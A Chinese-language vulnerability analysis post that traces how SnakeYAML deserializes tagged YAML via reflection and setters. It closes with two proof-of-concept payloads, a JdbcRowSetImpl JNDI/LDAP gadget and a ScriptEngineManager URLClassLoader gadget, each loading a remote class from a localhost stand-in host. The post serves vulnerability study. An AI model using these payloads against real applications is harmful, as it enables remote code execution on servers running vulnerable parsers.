SnakeYaml反序列化漏洞分析
Yaml是一种“是一个可读性高而且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。”相似于XML但比XML更简洁,语法详见
⽬前有很多可以⽣成和解析YAML的第三⽅⼯具,常见的,如SnakeYaml,jYaml,Jackson等,不同工具的用法不同,今天分析一下SnakeYaml反序列化的原理以及反序列化漏洞产生原因。
快速开始
下载依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
新建一个Test类:
public class Test {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
通过Yaml.dump序列化Test对象:
Test test = new Test();
test.setName("123");
Yaml yaml = new Yaml();
System.out.println(yaml.dump(test));
可以看到输出内容,SnakeYaml序列化后的格式为!!(类名){ 属性名称 :属性 }:
跟踪调试
然后通过yaml.load反序列化,下断点跟进一下反序列化的过程:
Yaml.load方法会先new一个StreamReader对象,将String类型转化为StreamReader,然后再去调用loadFromReader方法:
loadFromReader方法传入了两个参数,streamReader和type,并调用了getSingleData方法:
getSingleData先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象:
然后进行了判断node是否为空和判断node的tag是否为空,如果不为空那么判断传入的type是否为Object类型和是否有rootTag
if (node != null && !Tag.NULL.equals(node.getTag())) {
if (Object.class != type) {
node.setTag(new Tag(type));
} else if (this.rootTag != null) {
node.setTag(this.rootTag);
}
然后这里的条件都不满足,直接执行了constructDocument方法,继续跟进到getClassForNode方法:
constructDocument调用constructObject
继续跟进:constructObject中判断constructedObjects是否已经包含node,如果不包含就会执行constructObjectNoCheck方法:
继续跟进,
Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
这里调用了constructor.construct方法:
查看Construct类的实现,调用了getConstructor方法:
getConstructor方法调用了getClassForNode方法:
这里可以看到
String name = node.getTag().getClassName();
getClassName方法先判断是否以tag:yaml.org,2002:开头,然后调用UriEncoder.decode方法:
public String getClassName() {
if (!this.value.startsWith("tag:yaml.org,2002:")) {
throw new YAMLException("Invalid tag: " + this.value);
} else {
return UriEncoder.decode(this.value.substring("tag:yaml.org,2002:".length()));
}
}
UriEncoder.decode方法:
public static String decode(String buff) {
try {
return URLDecoder.decode(buff, "UTF-8");
} catch (UnsupportedEncodingException var2) {
throw new YAMLException(var2);
}
}
122行 getClassForNode方法通过反射方式寻找反序列化的类:
然后通过调用目标类的set方法:
因此可以通过利用JdbcRowSetImpl类链构造Poc:
!!com.sun.rowset.JdbcRowSetImpl dataSourceName: “ldap://localhost:9999/Evil” autoCommit: true
另一个利用思路,通过SPI机制和ScriptEngineManager远程加载恶意的类:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://localhost:9999/”]]]]